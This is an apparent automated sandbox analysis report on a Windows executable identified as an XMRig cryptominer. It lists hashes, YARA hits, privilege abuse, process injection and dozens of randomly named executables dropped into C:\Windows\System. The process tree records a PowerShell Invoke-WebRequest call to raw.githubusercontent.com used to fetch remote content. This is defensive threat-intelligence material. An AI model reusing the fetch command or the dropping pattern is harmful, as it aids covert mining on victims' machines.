xmrig | f9bca5231c34648f34e4d92299aec98de9a6dae4477a54c791a53a68daffa2d5

Analysis

max time kernel
155s
max time network
165s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
25/04/2024, 20:48

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe
Size

2.3MB
MD5

000b1c87a054e01946aff896667c8acf
SHA1

0ec568bf3a5da9f34def737004d2b202d34f8d53
SHA256

f9bca5231c34648f34e4d92299aec98de9a6dae4477a54c791a53a68daffa2d5
SHA512

4130266636786012fc8d9964b306d905926f3a268f023f38aefd71c82a89ac142d0cffa95f32bf3fbe72b4c8f2c3beb4d20cff96106eab796eaa36ccd33daf4c
SSDEEP

49152:Lz071uv4BPMkibTIA5sf6r+WVc2HhG82g1Vr5s1PTl//aD5:NABI

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 51 IoCs

miner

resource	yara_rule
behavioral2/memory/536-45-0x00007FF638600000-0x00007FF6389F2000-memory.dmp	xmrig
behavioral2/memory/2892-54-0x00007FF6F1950000-0x00007FF6F1D42000-memory.dmp	xmrig
behavioral2/memory/1176-52-0x00007FF6C1710000-0x00007FF6C1B02000-memory.dmp	xmrig
behavioral2/memory/4780-50-0x00007FF675C40000-0x00007FF676032000-memory.dmp	xmrig
behavioral2/memory/400-65-0x00007FF766720000-0x00007FF766B12000-memory.dmp	xmrig
behavioral2/memory/3540-66-0x00007FF618D10000-0x00007FF619102000-memory.dmp	xmrig
behavioral2/memory/3708-67-0x00007FF795420000-0x00007FF795812000-memory.dmp	xmrig
behavioral2/memory/2176-68-0x00007FF75BAA0000-0x00007FF75BE92000-memory.dmp	xmrig
behavioral2/memory/3620-69-0x00007FF72A900000-0x00007FF72ACF2000-memory.dmp	xmrig
behavioral2/memory/2076-77-0x00007FF7EC860000-0x00007FF7ECC52000-memory.dmp	xmrig
behavioral2/memory/948-95-0x00007FF6F5370000-0x00007FF6F5762000-memory.dmp	xmrig
behavioral2/memory/1480-101-0x00007FF77F1E0000-0x00007FF77F5D2000-memory.dmp	xmrig
behavioral2/memory/4176-107-0x00007FF6A14A0000-0x00007FF6A1892000-memory.dmp	xmrig
behavioral2/memory/4908-248-0x00007FF77E160000-0x00007FF77E552000-memory.dmp	xmrig
behavioral2/memory/1680-297-0x00007FF6CFF90000-0x00007FF6D0382000-memory.dmp	xmrig
behavioral2/memory/2812-300-0x00007FF65FE30000-0x00007FF660222000-memory.dmp	xmrig
behavioral2/memory/1392-305-0x00007FF7E0BD0000-0x00007FF7E0FC2000-memory.dmp	xmrig
behavioral2/memory/3216-307-0x00007FF6303E0000-0x00007FF6307D2000-memory.dmp	xmrig
behavioral2/memory/376-308-0x00007FF70F6A0000-0x00007FF70FA92000-memory.dmp	xmrig
behavioral2/memory/4160-309-0x00007FF61E230000-0x00007FF61E622000-memory.dmp	xmrig
behavioral2/memory/1492-313-0x00007FF75D280000-0x00007FF75D672000-memory.dmp	xmrig
behavioral2/memory/2352-330-0x00007FF7ABD70000-0x00007FF7AC162000-memory.dmp	xmrig
behavioral2/memory/1468-430-0x00007FF62F2B0000-0x00007FF62F6A2000-memory.dmp	xmrig
behavioral2/memory/1876-437-0x00007FF6706E0000-0x00007FF670AD2000-memory.dmp	xmrig
behavioral2/memory/1124-426-0x00007FF70F660000-0x00007FF70FA52000-memory.dmp	xmrig
behavioral2/memory/972-451-0x00007FF7DB6C0000-0x00007FF7DBAB2000-memory.dmp	xmrig
behavioral2/memory/4316-581-0x00007FF687080000-0x00007FF687472000-memory.dmp	xmrig
behavioral2/memory/4748-585-0x00007FF77B470000-0x00007FF77B862000-memory.dmp	xmrig
behavioral2/memory/2152-608-0x00007FF761930000-0x00007FF761D22000-memory.dmp	xmrig
behavioral2/memory/1748-595-0x00007FF6FACF0000-0x00007FF6FB0E2000-memory.dmp	xmrig
behavioral2/memory/5108-614-0x00007FF722D00000-0x00007FF7230F2000-memory.dmp	xmrig
behavioral2/memory/4408-681-0x00007FF77E2A0000-0x00007FF77E692000-memory.dmp	xmrig
behavioral2/memory/556-686-0x00007FF7AE300000-0x00007FF7AE6F2000-memory.dmp	xmrig
behavioral2/memory/2424-658-0x00007FF7F48E0000-0x00007FF7F4CD2000-memory.dmp	xmrig
behavioral2/memory/3932-645-0x00007FF6F9D00000-0x00007FF6FA0F2000-memory.dmp	xmrig
behavioral2/memory/4376-637-0x00007FF6054A0000-0x00007FF605892000-memory.dmp	xmrig
behavioral2/memory/3632-628-0x00007FF633570000-0x00007FF633962000-memory.dmp	xmrig
behavioral2/memory/4496-622-0x00007FF778FC0000-0x00007FF7793B2000-memory.dmp	xmrig
behavioral2/memory/536-1371-0x00007FF638600000-0x00007FF6389F2000-memory.dmp	xmrig
behavioral2/memory/1176-1376-0x00007FF6C1710000-0x00007FF6C1B02000-memory.dmp	xmrig
behavioral2/memory/2892-1378-0x00007FF6F1950000-0x00007FF6F1D42000-memory.dmp	xmrig
behavioral2/memory/4780-1377-0x00007FF675C40000-0x00007FF676032000-memory.dmp	xmrig
behavioral2/memory/3708-1405-0x00007FF795420000-0x00007FF795812000-memory.dmp	xmrig
behavioral2/memory/2176-1422-0x00007FF75BAA0000-0x00007FF75BE92000-memory.dmp	xmrig
behavioral2/memory/3540-1397-0x00007FF618D10000-0x00007FF619102000-memory.dmp	xmrig
behavioral2/memory/400-1396-0x00007FF766720000-0x00007FF766B12000-memory.dmp	xmrig
behavioral2/memory/3620-1426-0x00007FF72A900000-0x00007FF72ACF2000-memory.dmp	xmrig
behavioral2/memory/2076-1437-0x00007FF7EC860000-0x00007FF7ECC52000-memory.dmp	xmrig
behavioral2/memory/3452-1456-0x00007FF6D9040000-0x00007FF6D9432000-memory.dmp	xmrig
behavioral2/memory/1796-1593-0x00007FF779080000-0x00007FF779472000-memory.dmp	xmrig
behavioral2/memory/1392-1592-0x00007FF7E0BD0000-0x00007FF7E0FC2000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
536	lkMUVZl.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4908-0-0x00007FF77E160000-0x00007FF77E552000-memory.dmp	upx
behavioral2/files/0x0008000000023261-5.dat	upx
behavioral2/files/0x0008000000023264-21.dat	upx
behavioral2/files/0x0009000000023268-19.dat	upx
behavioral2/files/0x0009000000023269-29.dat	upx
behavioral2/files/0x000700000002326a-35.dat	upx
behavioral2/files/0x0008000000023266-43.dat	upx
behavioral2/memory/536-45-0x00007FF638600000-0x00007FF6389F2000-memory.dmp	upx
behavioral2/files/0x000700000002326c-51.dat	upx
behavioral2/files/0x000700000002326b-53.dat	upx
behavioral2/memory/2892-54-0x00007FF6F1950000-0x00007FF6F1D42000-memory.dmp	upx
behavioral2/memory/1176-52-0x00007FF6C1710000-0x00007FF6C1B02000-memory.dmp	upx
behavioral2/memory/4780-50-0x00007FF675C40000-0x00007FF676032000-memory.dmp	upx
behavioral2/files/0x000700000002326d-62.dat	upx
behavioral2/memory/400-65-0x00007FF766720000-0x00007FF766B12000-memory.dmp	upx
behavioral2/memory/3540-66-0x00007FF618D10000-0x00007FF619102000-memory.dmp	upx
behavioral2/memory/3708-67-0x00007FF795420000-0x00007FF795812000-memory.dmp	upx
behavioral2/memory/2176-68-0x00007FF75BAA0000-0x00007FF75BE92000-memory.dmp	upx
behavioral2/memory/3620-69-0x00007FF72A900000-0x00007FF72ACF2000-memory.dmp	upx
behavioral2/files/0x000700000002326e-73.dat	upx
behavioral2/files/0x000700000002326f-78.dat	upx
behavioral2/memory/2076-77-0x00007FF7EC860000-0x00007FF7ECC52000-memory.dmp	upx
behavioral2/memory/3452-79-0x00007FF6D9040000-0x00007FF6D9432000-memory.dmp	upx
behavioral2/files/0x0007000000023270-86.dat	upx
behavioral2/files/0x0007000000023271-92.dat	upx
behavioral2/files/0x0007000000023272-99.dat	upx
behavioral2/memory/948-95-0x00007FF6F5370000-0x00007FF6F5762000-memory.dmp	upx
behavioral2/memory/1480-101-0x00007FF77F1E0000-0x00007FF77F5D2000-memory.dmp	upx
behavioral2/files/0x0007000000023273-100.dat	upx
behavioral2/memory/4176-107-0x00007FF6A14A0000-0x00007FF6A1892000-memory.dmp	upx
behavioral2/files/0x0007000000023274-106.dat	upx
behavioral2/files/0x0007000000023275-114.dat	upx
behavioral2/files/0x0007000000023276-118.dat	upx
behavioral2/files/0x0007000000023277-126.dat	upx
behavioral2/files/0x0007000000023278-130.dat	upx
behavioral2/files/0x000700000002327a-140.dat	upx
behavioral2/files/0x000700000002327c-150.dat	upx
behavioral2/files/0x000700000002327d-157.dat	upx
behavioral2/files/0x000700000002327e-160.dat	upx
behavioral2/files/0x000700000002327f-167.dat	upx
behavioral2/files/0x0007000000023280-173.dat	upx
behavioral2/files/0x0007000000023281-177.dat	upx
behavioral2/files/0x0007000000023282-183.dat	upx
behavioral2/memory/4908-248-0x00007FF77E160000-0x00007FF77E552000-memory.dmp	upx
behavioral2/files/0x0007000000023284-190.dat	upx
behavioral2/files/0x0007000000023283-185.dat	upx
behavioral2/files/0x000700000002327b-145.dat	upx
behavioral2/files/0x0007000000023279-135.dat	upx
behavioral2/memory/1680-297-0x00007FF6CFF90000-0x00007FF6D0382000-memory.dmp	upx
behavioral2/memory/2812-300-0x00007FF65FE30000-0x00007FF660222000-memory.dmp	upx
behavioral2/memory/1392-305-0x00007FF7E0BD0000-0x00007FF7E0FC2000-memory.dmp	upx
behavioral2/memory/3216-307-0x00007FF6303E0000-0x00007FF6307D2000-memory.dmp	upx
behavioral2/memory/376-308-0x00007FF70F6A0000-0x00007FF70FA92000-memory.dmp	upx
behavioral2/memory/4160-309-0x00007FF61E230000-0x00007FF61E622000-memory.dmp	upx
behavioral2/memory/1492-313-0x00007FF75D280000-0x00007FF75D672000-memory.dmp	upx
behavioral2/memory/2352-330-0x00007FF7ABD70000-0x00007FF7AC162000-memory.dmp	upx
behavioral2/memory/1468-430-0x00007FF62F2B0000-0x00007FF62F6A2000-memory.dmp	upx
behavioral2/memory/1876-437-0x00007FF6706E0000-0x00007FF670AD2000-memory.dmp	upx
behavioral2/memory/1124-426-0x00007FF70F660000-0x00007FF70FA52000-memory.dmp	upx
behavioral2/memory/972-451-0x00007FF7DB6C0000-0x00007FF7DBAB2000-memory.dmp	upx
behavioral2/memory/4316-581-0x00007FF687080000-0x00007FF687472000-memory.dmp	upx
behavioral2/memory/4748-585-0x00007FF77B470000-0x00007FF77B862000-memory.dmp	upx
behavioral2/memory/2152-608-0x00007FF761930000-0x00007FF761D22000-memory.dmp	upx
behavioral2/memory/1748-595-0x00007FF6FACF0000-0x00007FF6FB0E2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
5	raw.githubusercontent.com

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\System\lkMUVZl.exe	000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe
File created	C:\Windows\System\mmhmhdj.exe	000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
5020	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4908	000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe
Token: SeDebugPrivilege	5020	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4908 wrote to memory of 5020	4908	000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe	90
PID 4908 wrote to memory of 5020	4908	000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe	90
PID 4908 wrote to memory of 536	4908	000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe	91
PID 4908 wrote to memory of 536	4908	000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe	91

C:\Users\Admin\AppData\Local\Temp\000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\000b1c87a054e01946aff896667c8acf_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5020
- C:\Windows\System\lkMUVZl.exe
  C:\Windows\System\lkMUVZl.exe
  2⤵
  - Executes dropped EXE
  PID:536
- C:\Windows\System\mmhmhdj.exe
  C:\Windows\System\mmhmhdj.exe
  2⤵
  PID:4780
- C:\Windows\System\vNRIkkO.exe
  C:\Windows\System\vNRIkkO.exe
  2⤵
  PID:1176
- C:\Windows\System\XNoRSUe.exe
  C:\Windows\System\XNoRSUe.exe
  2⤵
  PID:2892
- C:\Windows\System\eFkieew.exe
  C:\Windows\System\eFkieew.exe
  2⤵
  PID:400
- C:\Windows\System\Wvjcyeq.exe
  C:\Windows\System\Wvjcyeq.exe
  2⤵
  PID:3540
- C:\Windows\System\hniwANg.exe
  C:\Windows\System\hniwANg.exe
  2⤵
  PID:2176
- C:\Windows\System\eoxPmUL.exe
  C:\Windows\System\eoxPmUL.exe
  2⤵
  PID:3708
- C:\Windows\System\XYRpTcT.exe
  C:\Windows\System\XYRpTcT.exe
  2⤵
  PID:3620
- C:\Windows\System\bxinlCK.exe
  C:\Windows\System\bxinlCK.exe
  2⤵
  PID:2076
- C:\Windows\System\IWNXnBc.exe
  C:\Windows\System\IWNXnBc.exe
  2⤵
  PID:3452
- C:\Windows\System\PZqlieE.exe
  C:\Windows\System\PZqlieE.exe
  2⤵
  PID:948
- C:\Windows\System\FUmrIdg.exe
  C:\Windows\System\FUmrIdg.exe
  2⤵
  PID:1480
- C:\Windows\System\wHJClHB.exe
  C:\Windows\System\wHJClHB.exe
  2⤵
  PID:4176
- C:\Windows\System\nCQTfUt.exe
  C:\Windows\System\nCQTfUt.exe
  2⤵
  PID:1680
- C:\Windows\System\VVmPLFd.exe
  C:\Windows\System\VVmPLFd.exe
  2⤵
  PID:2812
- C:\Windows\System\ZdMcVnY.exe
  C:\Windows\System\ZdMcVnY.exe
  2⤵
  PID:1796
- C:\Windows\System\olFumpn.exe
  C:\Windows\System\olFumpn.exe
  2⤵
  PID:1392
- C:\Windows\System\sykivNG.exe
  C:\Windows\System\sykivNG.exe
  2⤵
  PID:3576
- C:\Windows\System\DboShOe.exe
  C:\Windows\System\DboShOe.exe
  2⤵
  PID:3216
- C:\Windows\System\EYKYysr.exe
  C:\Windows\System\EYKYysr.exe
  2⤵
  PID:1624
- C:\Windows\System\wdZHJkc.exe
  C:\Windows\System\wdZHJkc.exe
  2⤵
  PID:376
- C:\Windows\System\ECcFMYE.exe
  C:\Windows\System\ECcFMYE.exe
  2⤵
  PID:4160
- C:\Windows\System\lcYACZg.exe
  C:\Windows\System\lcYACZg.exe
  2⤵
  PID:1492
- C:\Windows\System\dTEEnUq.exe
  C:\Windows\System\dTEEnUq.exe
  2⤵
  PID:2352
- C:\Windows\System\ReZsxfF.exe
  C:\Windows\System\ReZsxfF.exe
  2⤵
  PID:1124
- C:\Windows\System\PMPqtIX.exe
  C:\Windows\System\PMPqtIX.exe
  2⤵
  PID:1468
- C:\Windows\System\IJNfbaK.exe
  C:\Windows\System\IJNfbaK.exe
  2⤵
  PID:1876
- C:\Windows\System\Sbqokrp.exe
  C:\Windows\System\Sbqokrp.exe
  2⤵
  PID:972
- C:\Windows\System\rVXvwes.exe
  C:\Windows\System\rVXvwes.exe
  2⤵
  PID:4316
- C:\Windows\System\rHyBTiH.exe
  C:\Windows\System\rHyBTiH.exe
  2⤵
  PID:4748
- C:\Windows\System\uqYtuwB.exe
  C:\Windows\System\uqYtuwB.exe
  2⤵
  PID:1748
- C:\Windows\System\UoJwWEM.exe
  C:\Windows\System\UoJwWEM.exe
  2⤵
  PID:2152
- C:\Windows\System\HgeHsQq.exe
  C:\Windows\System\HgeHsQq.exe
  2⤵
  PID:5108
- C:\Windows\System\xWUsCgY.exe
  C:\Windows\System\xWUsCgY.exe
  2⤵
  PID:4496
- C:\Windows\System\sAciUUG.exe
  C:\Windows\System\sAciUUG.exe
  2⤵
  PID:3632
- C:\Windows\System\qsBdnNB.exe
  C:\Windows\System\qsBdnNB.exe
  2⤵
  PID:4376
- C:\Windows\System\ujIopSl.exe
  C:\Windows\System\ujIopSl.exe
  2⤵
  PID:3932
- C:\Windows\System\UhvXPKK.exe
  C:\Windows\System\UhvXPKK.exe
  2⤵
  PID:2424
- C:\Windows\System\GgiSNwR.exe
  C:\Windows\System\GgiSNwR.exe
  2⤵
  PID:4408
- C:\Windows\System\nTcpVFt.exe
  C:\Windows\System\nTcpVFt.exe
  2⤵
  PID:556
- C:\Windows\System\KpBrsnp.exe
  C:\Windows\System\KpBrsnp.exe
  2⤵
  PID:3100
- C:\Windows\System\HMPchzS.exe
  C:\Windows\System\HMPchzS.exe
  2⤵
  PID:3684
- C:\Windows\System\QLsvtns.exe
  C:\Windows\System\QLsvtns.exe
  2⤵
  PID:3900
- C:\Windows\System\woETHBW.exe
  C:\Windows\System\woETHBW.exe
  2⤵
  PID:3580
- C:\Windows\System\VgHHFCP.exe
  C:\Windows\System\VgHHFCP.exe
  2⤵
  PID:3732
- C:\Windows\System\SuwYjxF.exe
  C:\Windows\System\SuwYjxF.exe
  2⤵
  PID:4840
- C:\Windows\System\OrYzTgU.exe
  C:\Windows\System\OrYzTgU.exe
  2⤵
  PID:2280
- C:\Windows\System\JNIDQiO.exe
  C:\Windows\System\JNIDQiO.exe
  2⤵
  PID:4456
- C:\Windows\System\wDIgpJZ.exe
  C:\Windows\System\wDIgpJZ.exe
  2⤵
  PID:2752
- C:\Windows\System\BIPIWGv.exe
  C:\Windows\System\BIPIWGv.exe
  2⤵
  PID:4364
- C:\Windows\System\imEivbG.exe
  C:\Windows\System\imEivbG.exe
  2⤵
  PID:884
- C:\Windows\System\OEkROxZ.exe
  C:\Windows\System\OEkROxZ.exe
  2⤵
  PID:3320
- C:\Windows\System\RytRTAO.exe
  C:\Windows\System\RytRTAO.exe
  2⤵
  PID:456
- C:\Windows\System\ZLhIGcW.exe
  C:\Windows\System\ZLhIGcW.exe
  2⤵
  PID:3888
- C:\Windows\System\HEIQhOX.exe
  C:\Windows\System\HEIQhOX.exe
  2⤵
  PID:2988
- C:\Windows\System\ivhKLZO.exe
  C:\Windows\System\ivhKLZO.exe
  2⤵
  PID:2136
- C:\Windows\System\CvGAPtf.exe
  C:\Windows\System\CvGAPtf.exe
  2⤵
  PID:3420
- C:\Windows\System\LIuHpvh.exe
  C:\Windows\System\LIuHpvh.exe
  2⤵
  PID:3980
- C:\Windows\System\eERwPsk.exe
  C:\Windows\System\eERwPsk.exe
  2⤵
  PID:2864
- C:\Windows\System\fgvEDwa.exe
  C:\Windows\System\fgvEDwa.exe
  2⤵
  PID:4004
- C:\Windows\System\uNxhXbB.exe
  C:\Windows\System\uNxhXbB.exe
  2⤵
  PID:3044
- C:\Windows\System\zapXBTd.exe
  C:\Windows\System\zapXBTd.exe
  2⤵
  PID:4072
- C:\Windows\System\FGLDyBY.exe
  C:\Windows\System\FGLDyBY.exe
  2⤵
  PID:4620
- C:\Windows\System\aRaKpBm.exe
  C:\Windows\System\aRaKpBm.exe
  2⤵
  PID:1304
- C:\Windows\System\WgsacWb.exe
  C:\Windows\System\WgsacWb.exe
  2⤵
  PID:3272
- C:\Windows\System\hlVGZGD.exe
  C:\Windows\System\hlVGZGD.exe
  2⤵
  PID:2324
- C:\Windows\System\xknMAqA.exe
  C:\Windows\System\xknMAqA.exe
  2⤵
  PID:436
- C:\Windows\System\vTqovNB.exe
  C:\Windows\System\vTqovNB.exe
  2⤵
  PID:1168
- C:\Windows\System\uhYNCrH.exe
  C:\Windows\System\uhYNCrH.exe
  2⤵
  PID:396
- C:\Windows\System\tfjJzdq.exe
  C:\Windows\System\tfjJzdq.exe
  2⤵
  PID:220
- C:\Windows\System\RETRLpB.exe
  C:\Windows\System\RETRLpB.exe
  2⤵
  PID:4232
- C:\Windows\System\QtfTjgX.exe
  C:\Windows\System\QtfTjgX.exe
  2⤵
  PID:1612
- C:\Windows\System\EfYJqcV.exe
  C:\Windows\System\EfYJqcV.exe
  2⤵
  PID:4464
- C:\Windows\System\XgXBqGj.exe
  C:\Windows\System\XgXBqGj.exe
  2⤵
  PID:5136
- C:\Windows\System\IBlRFlB.exe
  C:\Windows\System\IBlRFlB.exe
  2⤵
  PID:5156
- C:\Windows\System\ZfREGAK.exe
  C:\Windows\System\ZfREGAK.exe
  2⤵
  PID:5180
- C:\Windows\System\zgNiRDo.exe
  C:\Windows\System\zgNiRDo.exe
  2⤵
  PID:5244
- C:\Windows\System\msGeyOR.exe
  C:\Windows\System\msGeyOR.exe
  2⤵
  PID:5264
- C:\Windows\System\vAMeYiU.exe
  C:\Windows\System\vAMeYiU.exe
  2⤵
  PID:5308
- C:\Windows\System\bJSsvVE.exe
  C:\Windows\System\bJSsvVE.exe
  2⤵
  PID:5324
- C:\Windows\System\vpDlKml.exe
  C:\Windows\System\vpDlKml.exe
  2⤵
  PID:5348
- C:\Windows\System\fjBlcIf.exe
  C:\Windows\System\fjBlcIf.exe
  2⤵
  PID:5368
- C:\Windows\System\DSGdswC.exe
  C:\Windows\System\DSGdswC.exe
  2⤵
  PID:5412
- C:\Windows\System\KIhPQFx.exe
  C:\Windows\System\KIhPQFx.exe
  2⤵
  PID:5440
- C:\Windows\System\IuPdcgc.exe
  C:\Windows\System\IuPdcgc.exe
  2⤵
  PID:5460
- C:\Windows\System\SSGFIfX.exe
  C:\Windows\System\SSGFIfX.exe
  2⤵
  PID:5476
- C:\Windows\System\zuJwxWU.exe
  C:\Windows\System\zuJwxWU.exe
  2⤵
  PID:5504
- C:\Windows\System\hvcMoQv.exe
  C:\Windows\System\hvcMoQv.exe
  2⤵
  PID:5524
- C:\Windows\System\HYQptZa.exe
  C:\Windows\System\HYQptZa.exe
  2⤵
  PID:5540
- C:\Windows\System\KaWjTBF.exe
  C:\Windows\System\KaWjTBF.exe
  2⤵
  PID:5588
- C:\Windows\System\ANeWeNg.exe
  C:\Windows\System\ANeWeNg.exe
  2⤵
  PID:5652
- C:\Windows\System\hppDoqB.exe
  C:\Windows\System\hppDoqB.exe
  2⤵
  PID:5676
- C:\Windows\System\HBqWAOr.exe
  C:\Windows\System\HBqWAOr.exe
  2⤵
  PID:5700
- C:\Windows\System\zPVeBqy.exe
  C:\Windows\System\zPVeBqy.exe
  2⤵
  PID:5740
- C:\Windows\System\yzcNMYE.exe
  C:\Windows\System\yzcNMYE.exe
  2⤵
  PID:5760
- C:\Windows\System\VTKDxwS.exe
  C:\Windows\System\VTKDxwS.exe
  2⤵
  PID:5868
- C:\Windows\System\rCZWsak.exe
  C:\Windows\System\rCZWsak.exe
  2⤵
  PID:5884
- C:\Windows\System\rCIVpTj.exe
  C:\Windows\System\rCIVpTj.exe
  2⤵
  PID:5904
- C:\Windows\System\FBHvnJx.exe
  C:\Windows\System\FBHvnJx.exe
  2⤵
  PID:5924
- C:\Windows\System\UgcbrSW.exe
  C:\Windows\System\UgcbrSW.exe
  2⤵
  PID:5944
- C:\Windows\System\pARPdTr.exe
  C:\Windows\System\pARPdTr.exe
  2⤵
  PID:5972
- C:\Windows\System\yWpvBsz.exe
  C:\Windows\System\yWpvBsz.exe
  2⤵
  PID:6008
- C:\Windows\System\tnIGQjZ.exe
  C:\Windows\System\tnIGQjZ.exe
  2⤵
  PID:6028
- C:\Windows\System\yZfekHo.exe
  C:\Windows\System\yZfekHo.exe
  2⤵
  PID:6052
- C:\Windows\System\hoiGJQT.exe
  C:\Windows\System\hoiGJQT.exe
  2⤵
  PID:6084
- C:\Windows\System\EEViraN.exe
  C:\Windows\System\EEViraN.exe
  2⤵
  PID:6124
- C:\Windows\System\zcYfGMI.exe
  C:\Windows\System\zcYfGMI.exe
  2⤵
  PID:2232
- C:\Windows\System\QvEWSuS.exe
  C:\Windows\System\QvEWSuS.exe
  2⤵
  PID:316
- C:\Windows\System\BqRuokV.exe
  C:\Windows\System\BqRuokV.exe
  2⤵
  PID:5148
- C:\Windows\System\fCeUCLF.exe
  C:\Windows\System\fCeUCLF.exe
  2⤵
  PID:5172
- C:\Windows\System\zIorXEe.exe
  C:\Windows\System\zIorXEe.exe
  2⤵
  PID:5256
- C:\Windows\System\HTOnvNv.exe
  C:\Windows\System\HTOnvNv.exe
  2⤵
  PID:5364
- C:\Windows\System\bfnReCY.exe
  C:\Windows\System\bfnReCY.exe
  2⤵
  PID:5448
- C:\Windows\System\kpstUzm.exe
  C:\Windows\System\kpstUzm.exe
  2⤵
  PID:5388
- C:\Windows\System\qkmCWWK.exe
  C:\Windows\System\qkmCWWK.exe
  2⤵
  PID:5472
- C:\Windows\System\GnOkvJj.exe
  C:\Windows\System\GnOkvJj.exe
  2⤵
  PID:5488
- C:\Windows\System\QNzpCUm.exe
  C:\Windows\System\QNzpCUm.exe
  2⤵
  PID:5432
- C:\Windows\System\YflkMNv.exe
  C:\Windows\System\YflkMNv.exe
  2⤵
  PID:5516
- C:\Windows\System\FOIyZAl.exe
  C:\Windows\System\FOIyZAl.exe
  2⤵
  PID:5628
- C:\Windows\System\CwuKKXV.exe
  C:\Windows\System\CwuKKXV.exe
  2⤵
  PID:5640
- C:\Windows\System\RCzeSKw.exe
  C:\Windows\System\RCzeSKw.exe
  2⤵
  PID:5688
- C:\Windows\System\cHkIOSD.exe
  C:\Windows\System\cHkIOSD.exe
  2⤵
  PID:5728
- C:\Windows\System\iwceJJE.exe
  C:\Windows\System\iwceJJE.exe
  2⤵
  PID:5756
- C:\Windows\System\eyiVoAU.exe
  C:\Windows\System\eyiVoAU.exe
  2⤵
  PID:4484
- C:\Windows\System\HWBGOdn.exe
  C:\Windows\System\HWBGOdn.exe
  2⤵
  PID:6004
- C:\Windows\System\OhElffN.exe
  C:\Windows\System\OhElffN.exe
  2⤵
  PID:6044
- C:\Windows\System\fROAqcD.exe
  C:\Windows\System\fROAqcD.exe
  2⤵
  PID:6136
- C:\Windows\System\KDTiQhs.exe
  C:\Windows\System\KDTiQhs.exe
  2⤵
  PID:6132
- C:\Windows\System\iBhvlNp.exe
  C:\Windows\System\iBhvlNp.exe
  2⤵
  PID:5132
- C:\Windows\System\ntuBpyk.exe
  C:\Windows\System\ntuBpyk.exe
  2⤵
  PID:5552
- C:\Windows\System\lUCmLHs.exe
  C:\Windows\System\lUCmLHs.exe
  2⤵
  PID:5616
- C:\Windows\System\LxkzzxO.exe
  C:\Windows\System\LxkzzxO.exe
  2⤵
  PID:5876
- C:\Windows\System\gxlRWUF.exe
  C:\Windows\System\gxlRWUF.exe
  2⤵
  PID:6076
- C:\Windows\System\wpSdzsB.exe
  C:\Windows\System\wpSdzsB.exe
  2⤵
  PID:5344
- C:\Windows\System\BTZLzBz.exe
  C:\Windows\System\BTZLzBz.exe
  2⤵
  PID:4572
- C:\Windows\System\gDQussR.exe
  C:\Windows\System\gDQussR.exe
  2⤵
  PID:5536
- C:\Windows\System\yAswlTK.exe
  C:\Windows\System\yAswlTK.exe
  2⤵
  PID:6080
- C:\Windows\System\ORovQbm.exe
  C:\Windows\System\ORovQbm.exe
  2⤵
  PID:6152
- C:\Windows\System\sTzUZgD.exe
  C:\Windows\System\sTzUZgD.exe
  2⤵
  PID:6172
- C:\Windows\System\VpGhTZY.exe
  C:\Windows\System\VpGhTZY.exe
  2⤵
  PID:6232
- C:\Windows\System\oiJEGTI.exe
  C:\Windows\System\oiJEGTI.exe
  2⤵
  PID:6292
- C:\Windows\System\fooQGLO.exe
  C:\Windows\System\fooQGLO.exe
  2⤵
  PID:6308
- C:\Windows\System\ZHPqoZS.exe
  C:\Windows\System\ZHPqoZS.exe
  2⤵
  PID:6340
- C:\Windows\System\MGUeGse.exe
  C:\Windows\System\MGUeGse.exe
  2⤵
  PID:6364
- C:\Windows\System\ydTEAgJ.exe
  C:\Windows\System\ydTEAgJ.exe
  2⤵
  PID:6396
- C:\Windows\System\SwMUrKM.exe
  C:\Windows\System\SwMUrKM.exe
  2⤵
  PID:6424
- C:\Windows\System\OiTGoPa.exe
  C:\Windows\System\OiTGoPa.exe
  2⤵
  PID:6440
- C:\Windows\System\dkOUAXa.exe
  C:\Windows\System\dkOUAXa.exe
  2⤵
  PID:6460
- C:\Windows\System\GsdPMDJ.exe
  C:\Windows\System\GsdPMDJ.exe
  2⤵
  PID:6508
- C:\Windows\System\HjUssaL.exe
  C:\Windows\System\HjUssaL.exe
  2⤵
  PID:6528
- C:\Windows\System\mIelWdP.exe
  C:\Windows\System\mIelWdP.exe
  2⤵
  PID:6552
- C:\Windows\System\mZvHdzY.exe
  C:\Windows\System\mZvHdzY.exe
  2⤵
  PID:6572
- C:\Windows\System\gJcvfZW.exe
  C:\Windows\System\gJcvfZW.exe
  2⤵
  PID:6592
- C:\Windows\System\dbOwTva.exe
  C:\Windows\System\dbOwTva.exe
  2⤵
  PID:6664
- C:\Windows\System\ZWCLOgS.exe
  C:\Windows\System\ZWCLOgS.exe
  2⤵
  PID:6732
- C:\Windows\System\AzYiOKp.exe
  C:\Windows\System\AzYiOKp.exe
  2⤵
  PID:6752
- C:\Windows\System\KvXvxZI.exe
